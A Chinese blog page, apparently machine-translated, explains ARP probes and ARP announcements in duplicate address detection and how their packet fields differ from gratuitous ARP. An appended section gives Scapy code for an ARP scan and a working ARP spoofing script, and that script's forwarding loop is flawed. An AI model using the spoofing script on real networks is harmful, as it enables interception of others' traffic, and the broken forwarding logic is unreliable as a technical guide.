ARP探测和ARP公告

ARP 探测和 ARP 公告。这两者都用于称为重复地址检测的过程中。

其想法是,如果主机获取并使用恰好已在网络上使用的 IP 地址,则会导致两者的连接问题 主机。因此,主机在使用 IP 地址之前先对其进行测试以确保它确实是唯一的是有益的。

确定 IP 地址是否正在使用的一种方法是使用 ARP。或者具体来说,ARP 探针

该过程非常简单,发送一些 ARP 探测(通常为 3 个),如果没有人响应,则通过 ARP 公告正式声明 IP 地址

Pracnet.net - ARP 探测和 ARP 公告

ARP 探测和 ARP 公告均以广播帧的形式发送 - 使用 ffff.ffff.ffff

两者都是在没有请求的情况下发送的,因此它们是“无偿的”。但从技术上讲,它们与免费 ARP 并不完全相同。

稍后我们将查看数据包结构,它们将准确揭示 ARP 公告和 ARP 探测与免费 ARP 的不同之处——尽管经常被错误地称为相同的。

ARP 探测数据包结构

ARP 探针的目的是轮询网络以验证 IP 地址是否已被使用。

Pracnet.net - ARP 探针

发送时,操作码字段设置为1,表示 ARP 请求。这个想法是如果相关IP地址已被使用, ARP 探测的发起者将期望原始所有者的响应。因此,此 ARP 探测是一个可能会提示响应的请求。

发送方 MAC 地址设置为发起方的 MAC 地址。 发件人 IP 地址设置为 0.0.0.0

目标 MAC 地址设置为 0000.0000.0000目标 IP 地址设置为正在探测的 IP 地址。

注意数据包中没有提供完整的映射。发件人 IP 设置为全零,这意味着它无法映射到发件人 MAC 地址。目标 MAC 地址全为零,这意味着它无法映射到目标 IP 地址。

这是有意为之,因为发送 ARP 探测的原因是防止 IP 冲突。 如果目标 IP 地址已被使用,则网络上的其他主机非常不希望根据 ARP 缓存的内容无意中更新其 ARP 缓存。 ARP 探针。

这也是 ARP 探针和 免费 ARP 之间的主要区别。免费 ARP 意味着更新网络上的所有 ARP 缓存,而 ARP 探针会故意阻止 ARP 缓存更新,以继续防范 IP 地址冲突。

ARP公告包结构

如果 ARP 探测器没有从可能已经使用该 IP 地址的任何人那里生成响应,发起主机将认为该 IP 地址是唯一的,并将发送 ARP 公告以正式“声明”网络上的 IP 地址。

Pracnet.net - ARP 公告

ARP 公告非常类似于免费 ARP,但有一个值得注意的例外:

ARP 公告中的Opcode设置为1,表示请求。典型的免费 ARP 会将 操作码设置为 2

除此之外,数据包结构与上面的 ARP 探针相同,只是存在完整的映射。 发送方 MAC 地址和 发送方 IP 地址都会创建完整的 ARP映射,网络上的主机可以在其 ARP 表中使用这对地址。

与 免费 ARP 一样,目标 MAC 地址被忽略,在本例中它被设置为 0000.0000.0000,ARP 公告的某些实现使用 ffff.ffff.ffff 代替。

最后,目标IP再次确认通信的主题:IP地址的唯一性现已得到确认。

ARP 公告再次非常类似于免费 ARP,唯一的区别是 操作码字段。尽管技术上的结构不同,但它们通常都被简称为免费 ARP。然而,对于日常网络来说,这是一个微不足道的用词不当,稍微不准确有时可以节省冗长的解释。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ARP(Address Resolution Protocol)是在局域网内(LAN)中,将IP地址解析成MAC地址的协议。ARP探测和攻击则是指通过ARP协议进行网络探测和攻击。 下面是一个简单的ARP探测和攻击的开发文档: 1. ARP探测 ARP探测可以通过发送ARP请求包来获取网络中的主机IP和MAC地址信息。下面是一个基本的ARP探测的流程: (1)创建一个ARP请求包,包含本机IP和MAC地址以及目标IP地址。 (2)将ARP请求包发送到网络中。 (3)等待接收ARP响应包,如果接收到响应包,则表示目标主机存活,并获取其IP和MAC地址信息。 具体实现可以使用Python的Scapy库,如下所示: ```python from scapy.all import * # 构造ARP请求包 arp_request = ARP(pdst="192.168.1.1") arp_request.show() # 发送ARP请求包 arp_response = sr1(arp_request, timeout=1, verbose=0) if arp_response: print("IP address: " + arp_response.psrc) print("MAC address: " + arp_response.hwsrc) ``` 2. ARP攻击 ARP攻击是指通过伪造ARP响应包来欺骗目标主机,使其将数据发送到攻击者指定的MAC地址上。下面是一个基本的ARP攻击的流程: (1)创建一个ARP响应包,包含攻击者的MAC地址和目标主机的IP地址和MAC地址。 (2)将ARP响应包发送到网络中。 (3)等待接收目标主机发送的数据包,并将数据包转发到正确的MAC地址上,同时可以对数据包进行修改、删除等操作。 具体实现可以使用Python的Scapy库,如下所示: ```python from scapy.all import * # 构造ARP响应包 arp_response = ARP(op=2, pdst="192.168.1.1", hwdst="00:11:22:33:44:55", psrc="192.168.1.100", hwsrc="AA:BB:CC:DD:EE:FF") arp_response.show() # 发送ARP响应包 send(arp_response) # 等待接收数据包并转发 while True: packet = sniff(count=1, filter="arp and host 192.168.1.1", iface="eth0") if packet: # 修改数据包 packet[0].show() # 转发数据包 packet[0][Ether].dst = "AA:BB:CC:DD:EE:FF" sendp(packet[0], iface="eth0") ``` 需要注意的是,ARP攻击是一种违法行为,不得用于非法用途。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值